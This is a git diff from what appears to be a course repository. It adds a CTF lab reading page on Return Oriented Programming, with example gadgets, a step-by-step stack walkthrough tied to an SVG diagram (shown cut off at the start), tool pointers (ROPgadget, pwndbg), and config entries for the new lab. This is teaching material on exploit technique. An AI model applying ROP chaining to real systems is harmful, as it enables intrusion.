requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility"><div xmlns="http://www.w3.org/1999/xhtml" style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 138px; height: 1px; padding-top: 209px; margin-left: 281px;"><div style="box-sizing: border-box; font-size: 0; text-align: center; color: #000000; "><div style="display: inline-block; font-size: 20px; font-family: &quot;Helvetica&quot;; color: light-dark(#000000, #ffffff); line-height: 1.2; pointer-events: all; white-space: normal; word-wrap: normal; "><font style="font-size: 20px;" face="Courier New">gadget_addr</font><font style="font-size: 20px;"><br style="font-size: 20px;" /></font></div></div></div></foreignObject><text x="350" y="215" fill="light-dark(#000000, #ffffff)" font-family="&quot;Helvetica&quot;" font-size="20px" text-anchor="middle">gadget_addr</text></switch></g></g><g><rect x="80" y="164" width="160" height="30" fill="#fff2cc" style="fill: light-dark(rgb(255, 242, 204), rgb(40, 29, 0)); stroke: light-dark(rgb(214, 182, 86), rgb(109, 81, 0));" stroke="#d6b656" stroke-width="2" pointer-events="all"/></g><g><g transform="translate(-0.5 -0.5)"><switch><foreignObject style="overflow: visible; text-align: left;" pointer-events="none" width="100%" height="100%" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility"><div xmlns="http://www.w3.org/1999/xhtml" style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 158px; height: 1px; padding-top: 179px; margin-left: 81px;"><div style="box-sizing: border-box; font-size: 0; text-align: center; color: #000000; "><div style="display: inline-block; font-size: 20px; font-family: &quot;Helvetica&quot;; color: light-dark(#000000, #ffffff); line-height: 1.2; pointer-events: all; white-space: normal; word-wrap: normal; "><font style="font-size: 20px;">3<font style="font-size: 20px;"><font style="font-size: 20px;" face="Courier New"><font style="font-size: 20px;"><br style="font-size: 20px;" /></font></font></font></font></div></div></div></foreignObject><text x="160" y="185" fill="light-dark(#000000, #ffffff)" font-family="&quot;Helvetica&quot;" font-size="20px" text-anchor="middle">3</text></switch></g></g><g><path d="M 240 119 L 271.76 119" fill="none" stroke="#000000" style="stroke: light-dark(rgb(0, 0, 0), rgb(255, 255, 255));" stroke-width="2" stroke-miterlimit="10" pointer-events="stroke"/><path d="M 277.76 119 L 269.76 123 L 271.76 119 L 269.76 115 Z" fill="#000000" style="fill: light-dark(rgb(0, 0, 0), rgb(255, 255, 255)); stroke: light-dark(rgb(0, 0, 0), rgb(255, 255, 255));" stroke="#000000" stroke-width="2" stroke-miterlimit="10" pointer-events="all"/></g><g><rect x="280" y="109" width="120" height="20" fill="none" stroke="none" pointer-events="all"/></g><g><g transform="translate(-0.5 -0.5)"><switch><foreignObject style="overflow: visible; text-align: left;" pointer-events="none" width="100%" height="100%" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility"><div xmlns="http://www.w3.org/1999/xhtml" style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 118px; height: 1px; padding-top: 119px; margin-left: 281px;"><div style="box-sizing: border-box; font-size: 0; text-align: center; color: #000000; "><div style="display: inline-block; font-size: 20px; font-family: &quot;Helvetica&quot;; color: light-dark(#000000, #ffffff); line-height: 1.2; pointer-events: all; white-space: normal; word-wrap: normal; "><font face="Helvetica">New Gadget<br /></font></div></div></div></foreignObject><text x="340" y="125" fill="light-dark(#000000, #ffffff)" font-family="&quot;Helvetica&quot;" font-size="20px" text-anchor="middle">New Gadget&#xa;</text></switch></g></g><g><rect x="440" y="64" width="410" height="90" fill="none" stroke="none" pointer-events="all"/></g><g><g transform="translate(-0.5 -0.5)"><switch><foreignObject style="overflow: visible; text-align: left;" pointer-events="none" width="100%" height="100%" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility"><div xmlns="http://www.w3.org/1999/xhtml" style="display: flex; align-items: unsafe center; justify-content: unsafe flex-start; width: 408px; height: 1px; padding-top: 109px; margin-left: 442px;"><div style="box-sizing: border-box; font-size: 0; text-align: left; color: #000000; "><div style="display: inline-block; font-size: 20px; font-family: &quot;Helvetica&quot;; color: light-dark(#000000, #ffffff); line-height: 1.2; pointer-events: all; white-space: normal; word-wrap: normal; "><div align="left"><font style="font-size: 20px;" face="Courier New">gadget_addr:</font></div><div align="left"><font style="font-size: 20px;" face="Courier New">    pop rdx  # rdx = 3<br /></font></div><div align="left"><font style="font-size: 20px;" face="Courier New">    pop rbx  # rbx = 4<br /></font></div><div align="left"><font style="font-size: 20px;" face="Courier New">    ret      # rip = New Gadget<br /></font></div></div></div></div></foreignObject><text x="442" y="115" fill="light-dark(#000000, #ffffff)" font-family="&quot;Helvetica&quot;" font-size="20px">gadget_addr:...</text></switch></g></g><g><path d="M 240 179 L 271.76 179" fill="none" stroke="#000000" style="stroke: light-dark(rgb(0, 0, 0), rgb(255, 255, 255));" stroke-width="2" stroke-miterlimit="10" pointer-events="stroke"/><path d="M 277.76 179 L 269.76 183 L 271.76 179 L 269.76 175 Z" fill="#000000" style="fill: light-dark(rgb(0, 0, 0), rgb(255, 255, 255)); stroke: light-dark(rgb(0, 0, 0), rgb(255, 255, 255));" stroke="#000000" stroke-width="2" stroke-miterlimit="10" pointer-events="all"/></g><g><rect x="280" y="169" width="40" height="20" fill="none" stroke="none" pointer-events="all"/></g><g><g transform="translate(-0.5 -0.5)"><switch><foreignObject style="overflow: visible; text-align: left;" pointer-events="none" width="100%" height="100%" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility"><div xmlns="http://www.w3.org/1999/xhtml" style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 38px; height: 1px; padding-top: 179px; margin-left: 281px;"><div style="box-sizing: border-box; font-size: 0; text-align: center; color: #000000; "><div style="display: inline-block; font-size: 20px; font-family: &quot;Helvetica&quot;; color: light-dark(#000000, #ffffff); line-height: 1.2; pointer-events: all; white-space: normal; word-wrap: normal; "><font face="Courier New">rdx</font></div></div></div></foreignObject><text x="300" y="185" fill="light-dark(#000000, #ffffff)" font-family="&quot;Helvetica&quot;" font-size="20px" text-anchor="middle">rdx</text></switch></g></g><g><path d="M 240 149 L 271.76 149" fill="none" stroke="#000000" style="stroke: light-dark(rgb(0, 0, 0), rgb(255, 255, 255));" stroke-width="2" stroke-miterlimit="10" pointer-events="stroke"/><path d="M 277.76 149 L 269.76 153 L 271.76 149 L 269.76 145 Z" fill="#000000" style="fill: light-dark(rgb(0, 0, 0), rgb(255, 255, 255)); stroke: light-dark(rgb(0, 0, 0), rgb(255, 255, 255));" stroke="#000000" stroke-width="2" stroke-miterlimit="10" pointer-events="all"/></g><g><rect x="280" y="139" width="40" height="20" fill="none" stroke="none" pointer-events="all"/></g><g><g transform="translate(-0.5 -0.5)"><switch><foreignObject style="overflow: visible; text-align: left;" pointer-events="none" width="100%" height="100%" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility"><div xmlns="http://www.w3.org/1999/xhtml" style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 38px; height: 1px; padding-top: 149px; margin-left: 281px;"><div style="box-sizing: border-box; font-size: 0; text-align: center; color: #000000; "><div style="display: inline-block; font-size: 20px; font-family: &quot;Helvetica&quot;; color: light-dark(#000000, #ffffff); line-height: 1.2; pointer-events: all; white-space: normal; word-wrap: normal; "><font face="Courier New">rbx</font></div></div></div></foreignObject><text x="300" y="155" fill="light-dark(#000000, #ffffff)" font-family="&quot;Helvetica&quot;" font-size="20px" text-anchor="middle">rbx</text></switch></g></g></g><switch><g requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility"/><a transform="translate(0,-5)" xlink:href="https://www.drawio.com/doc/faq/svg-export-text-problems" target="_blank"><text text-anchor="middle" font-size="10px" x="50%" y="100%">Text is not SVG - cannot display</text></a></switch></svg>
\ No newline at end of file
diff --git a/chapters/memory-security/ctf/reading/rop.md b/chapters/memory-security/ctf/reading/rop.md
new file mode 100644
index 00000000..8a1f4baf
--- /dev/null
+++ b/chapters/memory-security/ctf/reading/rop.md
@@ -0,0 +1,47 @@
+# CTF
+
+In this laboratory, you will have to apply most of the concepts presented throughout this course under the format of `Capture-The-Flag` tasks.
+These tasks will test your understanding and mastery of specific static and dynamic analysis methods and tools, the compilation process, assembly language - syntax, registers, memory handling, functions, - as well as your ability to identify and exploit simple buffer overflow vulnerabilities.
+
+## Return Oriented Programming
+
+For the bonus exercise, you will have to use Return Oriented Programming (ROP).
+This is a technique in which, if we have the ability to overwrite the return address, we execute `gadgets`.
+These `gadgets` are simply portions of the existing code that end with a `ret` instruction.
+
+Examples of gadgets include:
+
+```asm
+pop rdi ; mov rdx, rax ; mov r12, rax ; jmp 0xd178
+pop rdi ; pop rbp ; ret
+pop rdi ; ret
+pop rsi ; pop rdi ; jmp 0xbd5f
+```
+
+Notice that each gadget must end in a control-flow instruction, such as a `ret` or a `jmp`.
+The reason is so that they can be chained together.
+We usually write payloads that contain the addresses of these snippets.
+Then we trigger the ROP attack by placing this payload to overwrite a code pointer with the first address in the payload (such as overwriting the return address with this address).
+
+Follow the example below to get a better picture:
+
+![ROP Anatomy](../media/rop-anatomy.svg)
+
+The image above aims to execute `pop rdx; pop rbx; ret`.
+Let's assume a function's return address is overwritten with that of the gadget, `gadget_addr`.
+The following things are going to happen:
+
+1. The function's `ret` will be executed and the `rip` will move to the first instruction of the gadget: `pop rdx`;
+the `rsp` will move towards the number 3 on the stack.
+
+1. `pop rdx` is executed, so the number pointed by `rsp` is popped into `rdx`, which is 3;
+`rsp` increases and now points to 4.
+
+1. Similarly, `pop rbx` will pop the number 4 into `rbx`;
+now `rsp` points to the new return address.
+
+1. The gadget's `ret` is executed, thus allowing us to execute new code:
+either a separate function, or a new gadget.
+
+To determine the address of a gadget in a binary, there is the tool [ROPgadget](https://github.com/JonathanSalwan/ROPgadget).
+Alternatively, in `pwndbg`, you can use a command like `rop --grep "pop rsi"`.
diff --git a/config.yaml b/config.yaml
index 90e020f6..0e813cd0 100644
--- a/config.yaml
+++ b/config.yaml
@@ -106,6 +106,19 @@ lab_structure:
       - tasks/overflow-for-binary.md
       - reading/buffers-intro.md
       - reading/overflow-vuln.md
+  - title: Lab 12 - CTF
+    filename: lab12.md
+    content:
+      - tasks/hidden-in-plain-sight-1.md
+      - tasks/hidden-in-plain-sight-2.md
+      - tasks/look-at-him-go.md
+      - tasks/playing-god.md
+      - tasks/indirect-business.md
+      - tasks/rip-my-buffers-off.md
+      - tasks/feeling-chained.md
+      - tasks/rop.md
+      - reading/rop.md                   
+
 # make_assets:
 #   plugin: command
 #   options:
@@ -161,6 +174,7 @@ docusaurus:
             - Lab 7 - Structures, Vectors and Strings: lab7.md
             - Lab 8 - The Stack: lab8.md
             - Lab 11 - Buffer Management. Buffer Overflow: lab11.md
+            - Lab 12 - CTF: lab12.md
 
     # static_assets:
     # - slides/Hardware-Software-Interface: /build/make_assets/chapters/hardware-software-interface